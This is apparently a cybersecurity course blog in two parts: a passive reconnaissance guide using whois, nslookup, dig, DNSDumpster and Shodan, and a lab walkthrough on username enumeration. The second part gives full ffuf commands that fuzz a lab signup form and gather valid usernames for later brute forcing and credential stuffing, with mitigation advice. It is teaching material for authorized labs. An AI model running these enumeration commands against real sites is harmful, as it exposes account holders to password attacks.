Passive Reconnaissance Mastery Program

Tech Guardians – Cyber Range Based Course

Passive reconnaissance is the foundation of professional cybersecurity assessments. Before scanning, exploiting, or defending systems, security professionals must first understand a target’s external digital footprint.

Network Security Phase–1 by Tech Guardians is designed to build that foundation using structured, lab-based training inside a controlled cyber range.

This blog explains the step-by-step methodology, tools, and practical approach used in the course.

---

Why Passive Reconnaissance Matters

Passive reconnaissance allows analysts to gather intelligence without directly interacting with the target infrastructure.

This means:

• No intrusion detection alerts

• No logs triggered on the target

• No direct packets sent to the organization

• Completely OSINT-based intelligence gathering (within legal scope)

This stage identifies:

• Domain ownership

• Hosting infrastructure

• Email servers

• DNS misconfigurations

• Exposed internet services

• Subdomains and hidden assets

---

Tools Covered in Phase–1

Tool	Purpose
whois	Domain registration intelligence
nslookup	DNS record enumeration
dig	Advanced DNS analysis
DNSDumpster	Subdomain & infrastructure mapping
Shodan.io	Internet-wide exposure intelligence

---

Step 1 – WHOIS Intelligence Gathering

WHOIS provides registration-level information about a domain.

Tool Used: whois

Command:

whois example.com

What It Reveals:

• Registrar

• Creation date

• Expiration date

• Name servers

• Registrant details (if not privacy protected)

Practical Use Case:

• Identify domain takeover risks

• Detect expired domain vulnerabilities

• Assess social engineering opportunities

• Identify DNS infrastructure

---

Step 2 – DNS Enumeration with nslookup

DNS records expose infrastructure details.

Tool Used: nslookup

---

A Record (IPv4 Lookup)

nslookup -type=A example.com 1.1.1.1

Output Analysis:

• Extract IP addresses

• Identify hosting provider

• Map infrastructure

---

MX Record (Mail Server Discovery)

nslookup -type=MX example.com

Analysis:

• Identify mail provider (Google, Microsoft, Self-hosted)

• Analyze email routing

• Assess email attack surface

---

TXT Record (Email Security)

nslookup -type=TXT example.com

Look For:

• SPF record

• DKIM

• DMARC

These protect against email spoofing and phishing attacks.

---

Step 3 – Advanced DNS Analysis Using dig

dig provides more technical details compared to nslookup.

Tool Used: dig

---

Basic A Record Query

dig example.com A

Students Analyze:

• TTL (Time To Live)

• Authoritative server

• Response flags

---

Query Specific DNS Server

dig @1.1.1.1 example.com MX

This helps verify DNS propagation and compare results across DNS providers.

---

Step 4 – Subdomain Discovery

Standard DNS tools cannot automatically discover hidden subdomains.

---

Method 1 – Manual Google Dorking

Search:

site:example.com

This reveals indexed subdomains.

---

Method 2 – DNSDumpster

What DNSDumpster Provides:

• Subdomains

• DNS servers

• MX servers

• IP addresses

• Infrastructure graph mapping

This visual representation helps identify attack surface quickly.

---

Step 5 – Exposure Intelligence Using Shodan

Shodan scans the internet and indexes exposed services.

What Shodan Reveals:

• Open ports

• Server banners

• Service versions

• Hosting company

• Geographic location

Workflow:

1. Extract IP from A record

2. Search IP in Shodan

3. Identify open ports

4. Identify exposed services

5. Assess risk

---

Final Challenge – Passive Recon Report

Students perform a complete reconnaissance cycle:

1. WHOIS analysis

2. DNS A, MX, TXT enumeration

3. Subdomain discovery

4. Infrastructure mapping

5. Shodan exposure analysis

6. Professional reconnaissance report creation

Username Enumeration Using FFUF

 

Practical Step-by-Step Authentication Testing Guide

---

Introduction

Authentication mechanisms often reveal sensitive information through error messages. One common vulnerability is username enumeration, where a web application confirms whether a username exists.

In this practical exercise, we will:

• Identify valid usernames

• Use ffuf for automated fuzzing

• Extract confirmed usernames

• Create a usable list for further authentication testing

Target endpoint:

http://MACHINE_IP/customers/signup

---

1️⃣ Understanding the Vulnerability

Visit:

http://MACHINE_IP/customers/signup

Try registering with:

Username: admin
Email: test@test.com
Password: test123
Confirm Password: test123

If you receive:

An account with this username already exists

This confirms:

• The username exists

• The application leaks information

• The system is vulnerable to username enumeration

This behavior allows attackers to build a list of valid accounts.

---

2️⃣ Lab Requirements

You need:

• Kali Linux / TryHackMe AttackBox

• ffuf installed

• SecLists wordlist

Check if ffuf is installed:

ffuf -h

If not installed:

sudo apt install ffuf

Install SecLists if needed:

sudo apt install seclists

Wordlist path:

/usr/share/wordlists/SecLists/Usernames/Names/names.txt

---

3️⃣ Crafting the FFUF Command

We will send POST requests to the signup form.

Full Command:

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt \
-X POST \
-d "username=FUZZ&email=test@test.com&password=test123&cpassword=test123" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u http://MACHINE_IP/customers/signup \
-mr "username already exists"

---

4️⃣ Breaking Down the Command

Parameter	Purpose
-w	Wordlist location
-X POST	Use POST request
-d	Data sent in form
FUZZ	Replaced by each username
-H	Header for form submission
-u	Target URL
-mr	Match response containing text

The keyword FUZZ is replaced automatically by each entry from the wordlist.

---

5️⃣ Running the Attack

Execute the command.

ffuf will:

• Send thousands of POST requests

• Insert each username into the form

• Check responses

• Display only matches containing:

username already exists

---

6️⃣ Interpreting Results

Example output:

admin
john
michael
david

These usernames exist in the system.

Only those displayed by ffuf are valid.

---

7️⃣ Creating valid_usernames.txt

Now create a file:

nano valid_usernames.txt

Add discovered usernames:

admin
john
michael
david

Save the file.

Verify:

cat valid_usernames.txt

---

8️⃣ Automating Output Saving (Optional)

Instead of copying manually:

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt \
-X POST \
-d "username=FUZZ&email=test@test.com&password=test123&cpassword=test123" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u http://MACHINE_IP/customers/signup \
-mr "username already exists" \
-of csv -o results.csv

Then extract usernames from results.csv.

---

9️⃣ Why This Attack Works

The flaw exists because:

• The application distinguishes between:

  • Existing username

  • New username

• It provides different error messages

Secure applications should respond with:

Registration failed

Without revealing if the username exists.

---

🔐 Security Mitigation

Developers should:

• Use generic error messages

• Implement rate limiting

• Add CAPTCHA

• Log suspicious repeated attempts

---

🎯 Final Outcome

At the end of this exercise, you should have:

valid_usernames.txt

Containing confirmed usernames for:

• Password brute forcing

• Credential stuffing

• Further authentication testing

---

Educational Purpose Notice

This exercise must only be performed:

• In lab environments

• On machines you are authorized to test

• In platforms like TryHackMe or HackTheBox

Unauthorized testing is illegal.